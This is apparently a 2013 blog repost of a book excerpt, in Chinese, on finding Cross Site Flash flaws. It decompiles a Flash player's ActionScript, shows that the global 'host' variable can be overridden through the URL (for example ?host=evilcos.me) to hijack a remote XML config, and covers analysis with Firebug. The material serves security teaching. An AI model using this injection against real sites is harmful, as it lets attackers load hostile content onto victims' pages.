XSF挖掘思路

broadviewbj發表於2013-02-21

XSF即Cross Site Flash。

很多網站的Flash播放器都會有XSF風險,因為這些播放器需要能夠靈活載入第三方Flash資源進行播放。不過這樣的XSF風險其實非常小,因為瀏覽器直接訪問Flash檔案時,安全沙箱的限制是很嚴格的。所以,下面分析的nxtv flash player只需瞭解思路即可,這樣的XSF漏洞在這樣的場景下毫無價值,有價值的是思路。

漏洞檔案:

分析方法分為靜態分析和動態分析。

1.靜態分析

我們可以使用SWFScan圖形化介面或者用swfdump命令列工具進行反編譯得到ActionScript程式碼,這兩個工具都很不錯,下面以SWFScan為例進行說明。

如圖6-5所示為SWFScan介面截圖,在Properties欄中可以看到這是用AS2編寫的Flash。AS2有全域性變數覆蓋風險,這個SWFScan對我們來說,最大的價值就是Source欄的原始碼,其他功能一般不用,用肉眼掃過原始碼,在反編譯出來的原始碼中發現下面一段程式碼。

 

圖6-5  SWFScan介面截圖

var myXML = new XML();

var __callResult_162 = myXML.load(( ( "http://" + _root.host ) + "/load.php?action=playerad" ));

myXML.ignoreWhite = True;

myXML.onLoad = function (success) {

    type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue;

    adurl = myXML.childNodes.0.childNodes.1.childNodes.0.nodeValue;

    _global.sec =  Number(myXML.childNodes.0.childNodes.2.childNodes.0. nodeValue) ;

    std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue;

    if ( ( std == 1 ) ) {

        if ( ( type == 1 ) ) {

            mp1.contentPath = ( ( ( "http://" + _root.host ) + "/" ) + adurl );

            var __callResult_267 = mp1.play();

首先載入遠端XML檔案,這個功能是AS經常使用的,因為該功能非常方便,使用簡單,且XML可配置性很高。後面的很多功能都會用到XML檔案裡的相關資料,如果能劫持這個XML,就能劫持之後的很多操作。

這裡載入遠端XML檔案是可劫持的:_root.host,這樣的全域性變數可以直接透過URL方式提交,如:

?host=evilcos.me

此時遠端XML檔案為:

內容如圖6-6所示。

 

圖6-6  遠端XML內容

這樣的XML結構和原始的是一致的,只是我們把內容替換為自己惡意構造的,之後mp1.play();的contentPath值( ( ( "http://" + _root.host ) + "/" ) + adurl );變為:

這樣就載入了第三方Flash進行播放,從而造成XSF攻擊。

其實,完全靜態地用肉眼分析是不太容易的,很多時候我們還會結合動態方式進行分析,比如在Firefox下Firebug的網路請求中發現一些額外的請求,更能清晰地理解目標Flash的執行流暢。

2.動態分析

Firebug網路資料如圖6-7所示。

 

圖6-7  Firebug網路資料

注意,載入第三方資源時需要第三方域的根目錄下有crossdomain.xml檔案,並且授權這樣的跨域請求。順便說一下,如果是直接載入第三方Flash檔案,則不需要crossdomain.xml的授權。

 

本文節選自《web前端駭客技術揭秘》

鍾晨鳴,徐少培編著

電子工業出版社出版

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13164110/viewspace-754458/,如需轉載,請註明出處,否則將追究法律責任。

相關文章